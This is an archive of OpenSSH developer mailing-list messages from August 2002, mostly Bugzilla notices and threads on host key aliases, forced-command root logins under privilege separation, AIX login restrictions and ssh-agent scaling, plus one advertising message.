From bugzilla-daemon at mindrot.org  Thu Aug 22 05:27:16 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu, 22 Aug 2002 05:27:16 +1000 (EST)
Subject: [Bug 80] Host key conflict with two servers on one IP
Message-ID: <20020821192716.2DB643D19A@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=80





------- Additional Comments From markus at openbsd.org  2002-08-22 05:27 -------
you might want to combine HostKeyAlias with CheckHostIP=no



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From M.Habbecke at gmx.de  Thu Aug 22 05:38:21 2002
From: M.Habbecke at gmx.de (Martin Habbecke)
Date: Wed, 21 Aug 2002 21:38:21 +0200
Subject: Authenticated with partial success ?
Message-ID: <200208212138.21823.M.Habbecke@gmx.de>

Hi all,

I've got the following problem when connecting to a SSH server version 2.0.13 
with dsa public key authentication. Instead of logging in I get 
"Authenticated with partial success". I attached the complete output of 
"ssh -v".

The interesting part: This only happens when connecting from one special 
machine (running SuSE 8.0, OpenSSH 3.4p1). From any other machine (running 
the same version of OpenSSH) I can log in without problems. Even copying a 
proven to work key-pair to that machine does not help.

Whats wrong? Am I missing something?

Thanks,

Martin
-------------- next part --------------
OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090603f
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Applying options for *
debug1: Rhosts Authentication disabled, originating port will not be trusted.
debug1: ssh_connect: needpriv 0
debug1: Connecting to hunter.xxxxxxxxxxxxxxxxxxxxx [xxxxxxxxxxx] port 22.
debug1: Connection established.
debug1: identity file /home/martin/.ssh/identity type -1
debug1: identity file /home/martin/.ssh/id_rsa type -1
debug1: identity file /home/martin/.ssh/id_dsa type 2
debug1: Remote protocol version 1.99, remote software version 2.0.13 (non-commercial)
debug1: match: 2.0.13 (non-commercial) pat 2.0.13*,2.0.14*,2.0.15*,2.0.16*,2.0.17*,2.0.18*,2.0.19*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client 3des-cbc hmac-md5 none
debug1: kex: client->server 3des-cbc hmac-md5 none
debug1: dh_gen_key: priv key bits set: 212/384
debug1: bits set: 519/1024
debug1: sending SSH2_MSG_KEXDH_INIT
debug1: expecting SSH2_MSG_KEXDH_REPLY
debug1: Host 'hunter.xxxxxxxxxxxxxxxxxxxx' is known and matches the DSA host key.
debug1: Found key in /home/martin/.ssh/known_hosts:1
debug1: bits set: 491/1024
debug1: ssh_dss_verify: signature correct
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: done: ssh_kex2.
debug1: send SSH2_MSG_SERVICE_REQUEST
debug1: buggy server: service_accept w/o service
debug1: got SSH2_MSG_SERVICE_ACCEPT
debug1: authentications that can continue: 
debug1: next auth method to try is publickey
debug1: try privkey: /home/martin/.ssh/identity
debug1: try privkey: /home/martin/.ssh/id_rsa
debug1: try pubkey: /home/martin/.ssh/id_dsa
debug1: input_userauth_pk_ok: pkalg ssh-dss blen 817 lastkey 0x8093dd0 hint 2
debug1: read PEM private key done: type DSA
Authenticated with partial success.
debug1: authentications that can continue: 
debug1: next auth method to try is keyboard-interactive
debug1: authentications that can continue: 
debug1: next auth method to try is password

From bugzilla-daemon at mindrot.org  Thu Aug 22 06:27:57 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu, 22 Aug 2002 06:27:57 +1000 (EST)
Subject: [Bug 387] command="" in authorized_keys fails when sshd_config has "PermitRootLogon forced-commands-only"
Message-ID: <20020821202757.139CE3D156@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=387





------- Additional Comments From markus at openbsd.org  2002-08-22 06:27 -------
hm, the logoutput from the server would be more helpfull.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From Nicolas.Williams at ubsw.com  Thu Aug 22 06:51:06 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Wed, 21 Aug 2002 16:51:06 -0400
Subject: Authenticated with partial success ?
Message-ID: <CEDB18D32D8138479D20048AB99CF2EA059B08@NSTMC007PEX1.ubsgs.ubsgroup.net>

It probably means that the authentication succeeded but the
authorization failed. Check the authorized_keys entries.

The SSHv2 authentication protocol draft is a little unclear.
Section 2.2 seems to mean that if authentication succeeds but
authorization fails then the server must respond with a partial
userauth error.

Cheers,

Nico
-- 

> -----Original Message-----
> From: Martin Habbecke [mailto:M.Habbecke at gmx.de]
> Sent: Wednesday, August 21, 2002 3:38 PM
> To: openssh-unix-dev at mindrot.org
> Subject: Authenticated with partial success ?
> 
> 
> Hi all,
> 
> I've got the following problem when connecting to a SSH 
> server version 2.0.13 
> with dsa public key authentication. Instead of logging in I get 
> "Authenticated with partial success". I attached the complete 
> output of 
> "ssh -v".
> 
> The interesting part: This only happens when connecting from 
> one special 
> machine (running SuSE 8.0, OpenSSH 3.4p1). From any other 
> machine (running 
> the same version of OpenSSH) I can log in without problems. 
> Even copying a 
> proven to work key-pair to that machine does not help.
> 
> Whats wrong? Am I missing something?
> 
> Thanks,
> 
> Martin
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From bugzilla-daemon at mindrot.org  Thu Aug 22 07:05:01 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu, 22 Aug 2002 07:05:01 +1000 (EST)
Subject: [Bug 387] command="" in authorized_keys fails when sshd_config has "PermitRootLogon forced-commands-only"
Message-ID: <20020821210501.BB6CD3D1C2@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=387





------- Additional Comments From markus at openbsd.org  2002-08-22 07:04 -------
Created an attachment (id=139)
 --> (http://bugzilla.mindrot.org/attachment.cgi?id=139&action=view)
for privsep the monitor does the special root checkings.




------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Thu Aug 22 07:45:32 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu, 22 Aug 2002 07:45:32 +1000 (EST)
Subject: [Bug 325] PermitRootLogin forced-commands-only & privsep - not working together
Message-ID: <20020821214532.46B903D1BC@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=325

markus at openbsd.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |DUPLICATE



------- Additional Comments From markus at openbsd.org  2002-08-22 07:45 -------


*** This bug has been marked as a duplicate of 387 ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Thu Aug 22 07:45:38 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu, 22 Aug 2002 07:45:38 +1000 (EST)
Subject: [Bug 387] command="" in authorized_keys fails when sshd_config has "PermitRootLogon forced-commands-only"
Message-ID: <20020821214538.AAC133D1BC@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=387

markus at openbsd.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |jfm at bitfactor.com



------- Additional Comments From markus at openbsd.org  2002-08-22 07:45 -------
*** Bug 325 has been marked as a duplicate of this bug. ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From markus at openbsd.org  Thu Aug 22 07:46:30 2002
From: markus at openbsd.org (Markus Friedl)
Date: Wed, 21 Aug 2002 23:46:30 +0200
Subject: PermitRootLogin=forced-commands-only does not work with UsePrivilegeSeparation=yes
In-Reply-To: <20020812225859Z435043-735+215@mate.dm.uba.ar>
References: <20020812225859Z435043-735+215@mate.dm.uba.ar>
Message-ID: <20020821214629.GA26584@folly>

On Mon, Aug 12, 2002 at 06:58:57PM -0400, Rodolfo Cossalter wrote:
> Using openssh-3.4p1 on Linux I noticed that PermitRootLogin=forced-commands-only
> does not work if UsePrivilegeSeparation is enabled; but it does work if privsep
> is disabled.
> Here are excerpts of debug from the server.

please check
http://bugzilla.mindrot.org/show_bug.cgi?id=387
http://bugzilla.mindrot.org/attachment.cgi?id=139&action=view


From bugzilla-daemon at mindrot.org  Thu Aug 22 19:50:22 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu, 22 Aug 2002 19:50:22 +1000 (EST)
Subject: [Bug 80] Host key conflict with two servers on one IP
Message-ID: <20020822095022.422B33D18F@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=80





------- Additional Comments From j.petersen at msh.de  2002-08-22 19:50 -------
I have several ssh-connections forwarded over ssh-Tunnels at various
Ports at localhost,
all alike the following scheme:

Host MYTUNNELHOST
        # ssh -f -L 32xxx:MYTUNNELHOST:22 -N INTERMEDIATEHOST
        Port 32xxx
        HostName localhost
        HostKeyAlias MYTUNNELHOST
        Protocol 1
        ...

-> No conflicting Keys, although all goes over localhost and different Ports...
   Just one stanza in /etc/ssh/ssh_config and works...
I say:   "ssh MYTUNNELHOST"
but connect is to localhost:32xxx
MYTUNNELHOST doesn't even need to be resolvable to an IP!!!!



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From info at pcb123.com  Fri Aug 23 04:32:57 2002
From: info at pcb123.com (info at pcb123.com)
Date: Fri, 23 Aug 2002 04:32:57 +1000 (EST)
Subject: No Cost PCB Design Tool
Message-ID: <200208221832.g7MIWuH68291@postoffice.telstra.net>

PCB123 is the perfect design software for schools, universities & institutions. 
It's free, easy to use, and a fun way to learn about the entire circuit board process.
http://www.pcb123.com?src=edu

Here's what you get:
- Free schematic & layout design software
- Quote your boards as you design
- Easily order circuit boards from within the program
- 10% Education discount*

*Note: E-mails with an *.edu (yourname at school.edu) receive a 10% discount on all orders 
placed through PCB123.

___________________________________________________________
PCB123...
Providing the complete solution--design through order--for quick, low cost circuit 
boards in small quantities.
http://www.pcb123.com?src=edu

If this reached you in error, please reply with 'error in your list' and we will take care of it.



From bugzilla-daemon at mindrot.org  Fri Aug 23 05:37:49 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 05:37:49 +1000 (EST)
Subject: [Bug 388] Escape character not updated from default of ~ in help message
Message-ID: <20020822193749.F33E63D14B@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=388

stevesk at pobox.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |FIXED



------- Additional Comments From stevesk at pobox.com  2002-08-23 05:37 -------
thanks, commited



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 07:33:07 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 07:33:07 +1000 (EST)
Subject: [Bug 387] command="" in authorized_keys fails when sshd_config has "PermitRootLogon forced-commands-only"
Message-ID: <20020822213307.474F33D1A2@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=387

markus at openbsd.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |FIXED



------- Additional Comments From markus at openbsd.org  2002-08-23 07:33 -------
patch applied



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 07:46:06 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 07:46:06 +1000 (EST)
Subject: [Bug 383] PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020822214606.3EDF83D1BB@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=383





------- Additional Comments From markus at openbsd.org  2002-08-23 07:46 -------
what does "rlogin set to false" mean?



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 08:21:36 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 08:21:36 +1000 (EST)
Subject: [Bug 26] ssh setting O_NONBLOCK on stderr can upset CVS
Message-ID: <20020822222136.750C83D1B9@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=26





------- Additional Comments From markus at openbsd.org  2002-08-23 08:21 -------
hm, what do you suggest?



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 08:35:47 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 08:35:47 +1000 (EST)
Subject: [Bug 383] PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020822223547.50DE83D1CE@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=383





------- Additional Comments From jim.a.davidson at bt.com  2002-08-23 08:35 -------
On an AIX system,if chuser rlogin=false <account> is set then it is no longer
possible using PublicKeyAuthentication to issue ssh <command> or scp using that
account.
We need to be able to do this.




------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 10:03:26 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 10:03:26 +1000 (EST)
Subject: [Bug 383] PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020823000326.ED6023D1C6@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=383





------- Additional Comments From mouring at eviladmin.org  2002-08-23 10:03 -------
My suggestion is the following (since I'm not 100% up to speed on AIX).  

do sshd -d -d -d  with rlogin=false  then return it with rlogin=true.  Diff the 
two and hopefully that will narrow down the differences.

- Ben



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From kevin at atomicgears.com  Fri Aug 23 12:06:38 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Thu, 22 Aug 2002 19:06:38 -0700
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <3D62750C.4060302@cisco.com>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com> <3D62750C.4060302@cisco.com>
Message-ID: <20020823020638.GH2665@scott.crlsca.adelphia.net>

On Tue, Aug 20, 2002 at 11:57:48AM -0500, Kevin Currie wrote:
> 	Even with this patch it still doesn't scale to the extent that
> we'd like.  I routinely run commands on ~8-10K hosts and it takes too
> long to complete the runs.  We've hacked around this by writing some
> tools that launch 10 ssh-agents, and then command wrappers around
> ssh/scp/etc that randomly connect to one of the agents for authentication.
> By doing it this way, we are able to run hundreds of concurrent sessions 
> with
> out getting "permission denied" messages.

Can you provide more info about how you run these commands?  What is a
high-water mark for simultaneous agent connections in this
environment?  Can you profile the agent (prof/gprof)?


From bugzilla-daemon at mindrot.org  Fri Aug 23 12:24:40 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 12:24:40 +1000 (EST)
Subject: [Bug 383] PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020823022440.01C223D168@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=383





------- Additional Comments From dtucker at zip.com.au  2002-08-23 12:24 -------
Here's the reason from the log:
"Login restricted for root: 3004-306 Remote logins are not allowed for this 
account."

What version are you upgrading from? All versions I checked back to 2.1.1p4 
contained the following test in auth.c:

if (loginrestrictions(pw->pw_name, S_RLOGIN, NULL, &loginmsg) != 0) {
    [snip]
    log("Login restricted for %s: %.100s", pw->pw_name, loginmsg);
}

To me it seems to be working like it should: if you disable remote logins you 
can't log in remotely.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 12:49:06 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 12:49:06 +1000 (EST)
Subject: [Bug 383] PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020823024906.37F6A3D1D8@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=383





------- Additional Comments From dtucker at zip.com.au  2002-08-23 12:49 -------
Ah, I think I know why you're seeing it now.  Were your previous binaries 
compiled on AIX 4.2 perchance?

The loginrestrictions() test is wrapped inside "#ifdef WITH_AIXAUTHENTICATE". 
Configure defines that if it can find the function "authenticate".  On 4.2, 
authenticate it in libs.a.  On 4.3, it's in libc.a.  Configure didn't check in 
libs.a.

The upshot is if you compile 3.4p1 or below on AIX 4.2, WITH_AIXAUTHENTICATE 
doesn't get defined and the loginrestrictions() test doesn't get compiled in.  
In -cvs, configure has been fixed to look in libs.a if necessary, so behaviour 
will be consistent between AIX versions.

The quick way to get the behaviour you want is to set "#define 
WITH_AIXAUTHENTICATE 0" in config.h after running configure, then recompile.  
This is probably not a long-term solution as it also disables other things (eg 
lockout on bad logins and logging of succcesful logins).  You may need to 
rethink your strategy.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 17:08:19 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 17:08:19 +1000 (EST)
Subject: [Bug 26] ssh setting O_NONBLOCK on stderr can upset CVS
Message-ID: <20020823070819.19A8F3D1D5@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=26





------- Additional Comments From dhowells at redhat.com  2002-08-23 17:08 -------
 I would suggest that SSH shouldn't set O_NONBLOCK on its stderr output. It is only for errors after all, and ssh won't normally be writing to it, and so doing that ought not to be a problem. 



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 17:22:55 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 17:22:55 +1000 (EST)
Subject: [Bug 383] PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020823072255.D08FD3D1DF@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=383





------- Additional Comments From jim.a.davidson at bt.com  2002-08-23 17:22 -------
We do not use password authentication for this account.
On HP,OSF/1 and Solaris machines,if root account is set to only login on the 
console,then we authenticate in the normal way (using PublicKeyAuthentication)
and can then issue ssh <command> or scp using root account on that machine.
It is only with AIX that we see this being rejected.
Is there a particular reason why AIX is unique in this behaviour ?
Thanks.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 23 18:09:24 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 23 Aug 2002 18:09:24 +1000 (EST)
Subject: [Bug 383] PublicKeyAuthentication failure when rlogin set to false
Message-ID: <20020823080924.95D423D1DE@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=383





------- Additional Comments From j.petersen at msh.de  2002-08-23 18:09 -------
This ist my Workaround:
--- auth.c.orig Wed Oct  3 19:55:27 2001
+++ auth.c      Mon Nov 12 10:43:49 2001
@@ -158,7 +158,7 @@
        }

 #ifdef WITH_AIXAUTHENTICATE
-       if (loginrestrictions(pw->pw_name, S_RLOGIN, NULL, &loginmsg) != 0) {
+       if ((pw->pw_uid != 0) && (loginrestrictions(pw->pw_name, S_RLOGIN, NULL,
&loginmsg) != 0)) {
                if (loginmsg && *loginmsg) {
                        /* Remove embedded newlines (if any) */
                        char *p;

Not accepted by OpenSSH-developers, but what most AIX-Admins seem to need:
Close out root by all AIX-means, but let him in by ssh-only...



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From kcurrie at cisco.com  Sat Aug 24 00:58:22 2002
From: kcurrie at cisco.com (Kevin Currie)
Date: Fri, 23 Aug 2002 09:58:22 -0500
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated
 ssh-agent authentication retry patch available
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com> <3D62750C.4060302@cisco.com> <20020823020638.GH2665@scott.crlsca.adelphia.net>
Message-ID: <3D664D8E.8030702@cisco.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Kevin Steves wrote:

| Can you provide more info about how you run these commands?  What is a
| high-water mark for simultaneous agent connections in this
| environment?  Can you profile the agent (prof/gprof)?

	To be honest we never went as far as trying to profile ssh-agent to
determine where the bottleneck was, but I can tell you that the agent chews
ALOT of cpu when it's trying to authenticate many connections (typically 80%+ CPU).

	We basically have a script called "doagent" which you point at a key,
then enter your password when prompted.  It uses perl/expect to then start
10 agents (default, # can be specified), and writes a file which contains
the listing of all the SSH_AUTH_SOCK and SSH_AGENT_PID values.  My coworker
wrote a great perl script which cycles through the variables before running
the ssh commands, thus balancing the requests across the agents.  This script
does much more than that though, as it also is able to run scripts on the remote
host without having to store them on the remote host at all if they are perl,
or if they are shell code they will be transferred and stored in a tmp dir,
run, and then deleted.  I've also written a simple shell script which you
can use in place of ssh/scp/sftp which looks at the ~/.ssh/.myagents* files,
picks a random agent out of that list, sets the 2 vars to attach to that
agent and then runs the command.  By doing things this way I can do things
like this:
foreach var ( `cat host_list`)
ssha $var "uptime"  &
end

The ssha/sftpa/scpa script is really called "nexta" and one could also
use it to run another command with modified agent variables like this:

nexta rsync -e ssh -avr host:/home/blah  /home/newblah

	I cannot release these scripts at this time, but apparently we
have the go ahead to release them publicly in the near future.  Now that
the idea is out, I expect several people will create similar scripts in
no time :-)


- --
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Kevin Currie          |        |          |       |
~ SysAdmin/ECS Security |      .|||.      .|||.     |	  Email:
~ Cisco Systems         | ..:|||||||:...:|||||||:.. | kcurrie(at)cisco.com
~ Austin, Texas         |---------------------------|
~~~~~~~~GPG/PGP public key: https://undertow.2y.net/kcurrie.pub~~~~~~~~~~


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE9Zk2NPt/WS5aO4BwRAq43AKDh9PlP7clf906smHOByR8zhOyOJQCfQt9b
TubuSHRHDZ+XNAvfSf0f+DQ=
=gjq8
-----END PGP SIGNATURE-----



From kevin at atomicgears.com  Sat Aug 24 04:35:07 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Fri, 23 Aug 2002 11:35:07 -0700
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <3D664D8E.8030702@cisco.com>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com> <3D62750C.4060302@cisco.com> <20020823020638.GH2665@scott.crlsca.adelphia.net> <3D664D8E.8030702@cisco.com>
Message-ID: <20020823183507.GC4723@scott.crlsca.adelphia.net>

On Fri, Aug 23, 2002 at 09:58:22AM -0500, Kevin Currie wrote:
> Kevin Steves wrote:
> | Can you provide more info about how you run these commands?  What is a
> | high-water mark for simultaneous agent connections in this
> | environment?  Can you profile the agent (prof/gprof)?
> 
> 	To be honest we never went as far as trying to profile ssh-agent to
> determine where the bottleneck was, but I can tell you that the agent chews
> ALOT of cpu when it's trying to authenticate many connections (typically 
> 80%+ CPU).

Having profile data for an agent in that environment would be very
interesting.


From kevin at atomicgears.com  Sat Aug 24 06:47:30 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Fri, 23 Aug 2002 13:47:30 -0700
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <20020820234320.GA42020@lizzy.catnook.com>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com> <20020819212321.GB27268@scott.crlsca.adelphia.net> <20020820060516.GC34449@lizzy.catnook.com> <20020820234320.GA42020@lizzy.catnook.com>
Message-ID: <20020823204730.GD4723@scott.crlsca.adelphia.net>

On Tue, Aug 20, 2002 at 04:42:58PM -0701, Jos Backus wrote:
> ssh-agent does
> 
>     listen(3, 128, 1)                               = 0
> 
> After a couple of seconds, when the 85th (or thereabouts) ssh process is
> started I start seeing
> 
>     connect(6, 0xFFBEF6C0, 110, 1) Err#146 ECONNREFUSED
> 
> for a percentage of the new ssh processes. This is with 
> 
>     tcp_conn_req_max_q == 128
> 
> Could it be that the connection timeout period for UNIX domain sockets is
> short on Solaris?

look at syslog for agent errors (or run with -d).
what is the soft fd limit?  i see 256 on solaris 8, so that
wouldn't be an issue.


From Nicolas.Williams at ubsw.com  Sat Aug 24 07:05:44 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Fri, 23 Aug 2002 17:05:44 -0400
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
Message-ID: <CEDB18D32D8138479D20048AB99CF2EA059B22@NSTMC007PEX1.ubsgs.ubsgroup.net>

And lsof the agent too - see what files it has open...

Nico
-- 

> -----Original Message-----
> From: Kevin Steves [mailto:kevin at atomicgears.com]
> Sent: Friday, August 23, 2002 4:48 PM
> To: openssh-unix-dev at mindrot.org
> Cc: stevesk at pobox.com
> Subject: Re: 3.4p1 ssh-agent auth-retry patch available: was: Re:
> Updated ssh-agent authentication retry patch available
> 
> 
> On Tue, Aug 20, 2002 at 04:42:58PM -0701, Jos Backus wrote:
> > ssh-agent does
> > 
> >     listen(3, 128, 1)                               = 0
> > 
> > After a couple of seconds, when the 85th (or thereabouts) 
> ssh process is
> > started I start seeing
> > 
> >     connect(6, 0xFFBEF6C0, 110, 1) Err#146 ECONNREFUSED
> > 
> > for a percentage of the new ssh processes. This is with 
> > 
> >     tcp_conn_req_max_q == 128
> > 
> > Could it be that the connection timeout period for UNIX 
> domain sockets is
> > short on Solaris?
> 
> look at syslog for agent errors (or run with -d).
> what is the soft fd limit?  i see 256 on solaris 8, so that
> wouldn't be an issue.
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From jos at catnook.com  Sat Aug 24 07:59:22 2002
From: jos at catnook.com (Jos Backus)
Date: Fri, 23 Aug 2002 14:59:22 -0700
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <20020823204730.GD4723@scott.crlsca.adelphia.net>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com> <20020819212321.GB27268@scott.crlsca.adelphia.net> <20020820060516.GC34449@lizzy.catnook.com> <20020820234320.GA42020@lizzy.catnook.com> <20020823204730.GD4723@scott.crlsca.adelphia.net>
Message-ID: <20020823215944.GA36718@lizzy.catnook.com>

On Fri, Aug 23, 2002 at 01:47:30PM -0700, Kevin Steves wrote:
> look at syslog for agent errors (or run with -d).

What exactly do you want me to try? I see nothing in syslog, but with
ssh-agent -d I am seeing

debug1: type 1
debug1: type 1
debug1: type 3
debug1: type 1
debug1: type 3
debug1: type 3
debug1: XXX shrink: 6 < 7
debug1: type 1
debug1: type 3
debug1: XXX shrink: 5 < 6
debug1: XXX shrink: 3 < 5
debug1: XXX shrink: 3 < 4
debug1: type 1
debug1: type 3
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 1
debug1: type 3
debug1: type 3
debug1: type 3
debug1: type 3
